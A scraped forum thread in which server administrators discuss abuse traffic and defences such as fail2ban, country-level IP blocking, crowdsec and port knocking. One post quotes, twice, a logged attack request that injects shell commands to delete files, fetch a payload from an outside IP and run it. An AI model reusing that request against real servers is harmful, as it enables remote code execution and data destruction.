My servers currently ban in average 1200 individual addresses and around 20 /24 cidr network addresses, which is triggered after N individual addresses in a specific subnet size gets flagged. The amount of abuse traffic is ridiculous.
Who's Attacking My Server?
71–80 of 231 posts
Re: Who's Attacking My Server?
#72This is a good opportunity to recommend nft blackhole [1]. Automatically block countries by CIDR blocks and known bad actor IPs. Auto-updates these lists and adds them to your firewall. It's a 5 minute install and maintenance free afterwards. Not perfect, but reduces attack surface and log spam. [1] https://github.com/tomasz-c/nft-blackhole
Looks not-so reliable. Either fetches a list of blocks from https://github.com/herrbischoff/country-ip-blocks which is a random GitHub repository that collects "straight from the Regional Internet Registries" without any stating any sources nor method for gathering it (which also, I'm assuming, is self-reported data from those registries), or it fetches it from https://www.ipdeny.com/ which currently runs with an exp…
Calling the repository of Marcel Bischoff a random GitHub repository. LOL
Re: Who's Attacking My Server?
#73Earlier quoted context omitted.
Any documentation on how to do "geo fencing" without relying on third parties? Is it enough to have one big static list of ip addresses (or subnets)? How often does the list need to be updated?
You cannot know where a server is physically located, as even self-reported locations are incorrect (by accident and/or on purpose) and there is no such thing as non-3rd party data about physical location as servers as again, it's self-reported and any registry can say whatever they want in regards to where a server is located. There are many different 3rd party sources for geo locating IP addresses, maybe MaxMinds i…
I'm reminded of this story[0] from a few years ago where a family in Kansas was raided by every US ABC agency because MaxMinds was using their lat/long as the default when there was no exact position.
https://www.theguardian.com/technology/2016/aug/09/maxmind-m...
Re: Who's Attacking My Server?
#74I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume.
It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.
Re: Who's Attacking My Server?
#75Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
> Fail2ban is theater on a properly configured server
How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?
I see a variety of weird requests made to my http server. A sample:
`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`
Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?
Re: Who's Attacking My Server?
#76Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…
You don't, because there's no point.
Re: Who's Attacking My Server?
#77Earlier quoted context omitted.
I like to be able to maintain contact with my servers outside of a few specific ip's - I've locked myself out far too many times when I whitelist a very small number. Anyone have a better workaround for this?
Perhaps a port knock. I don't know the mechanics, but a port knock is hitting pre-defined ports in a pre-defined order. When you "shave and a haircut" the ports properly, the server opens something up. In this case white listing (gray listing?) the IP that the knock came from. You could add a layers to it to make it more complicated.
Please don't use silly stuff like port knocking. Your SSH server already does a cryptographically sound authentication step. "Port knocking" is even more performative than fail2ban.
Re: Who's Attacking My Server?
#78I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.
Before going about a blocking potential people who are in fact interested in your content/service (which you can't know if they are or not based on the country), did you do the bare minimum to secure your server against attackers from any other location, namely changed from the default password and disabled password login?
Your approach to security has a number of issues. First, you don't know if someone is actually interested in your thing or not based on the location. They could be visiting China, could still be able to speak English or any other reason. Secondly, the mapping of Location IP Address is not as guaranteed as you seem to think. Plenty of IPs get flagged as Chinese while not being in China, and vice-versa is true as well. Just because some 3rd party says a host/client is in a specific location doesn't make that true.
Edit: Seems the commentator I replied to now have added "just personal stuff and a private forum" to their comment which was not there before, so most of my point is moot now, as I assumed at least semi-public content/service, not private.
Re: Who's Attacking My Server?
#79There is also crowdsec that promises fail2ban functionality from a crowdsourced data feed.
Re: Who's Attacking My Server?
#80I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.
Not an option for me, but thanks for the suggestion. I don't want to erect a geo-fence here.